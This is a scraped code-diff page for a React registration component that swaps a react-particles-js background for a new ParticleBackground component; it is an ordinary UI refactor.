import Particles from 'react-particles-js';
|
|
||||||
|
|
||||||
import AuthService from '../../services/AuthService';
|
import AuthService from '../../services/AuthService';
|
||||||
import {particleParams} from '../../styles/components/particle-component/AuthPageParams';
|
|
||||||
import monkeyDetective from '../../images/detective-monkey.svg';
|
import monkeyDetective from '../../images/detective-monkey.svg';
|
||||||
|
import ParticleBackground from '../ui-components/ParticleBackground';
|
||||||
|
|
||||||
class RegisterPageComponent extends React.Component {
|
class RegisterPageComponent extends React.Component {
|
||||||
|
|
||||||
|
@ -81,7 +80,7 @@ class RegisterPageComponent extends React.Component {
|
||||||
render() {
|
render() {
|
||||||
return (
|
return (
|
||||||
<Container fluid className={'auth-container'}>
|
<Container fluid className={'auth-container'}>
|
||||||
<Particles className={'particle-background'} params={particleParams}/>
|
<ParticleBackground />
|
||||||
<Row>
|
<Row>
|
||||||
<Col xs={12} lg={{span: 6, offset: 3}} md={{span: 7, offset: 3}}
|
<Col xs={12} lg={{span: 6, offset: 3}} md={{span: 7, offset: 3}}
|
||||||
className={'auth-block'}>
|
className={'auth-block'}>
|
||||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue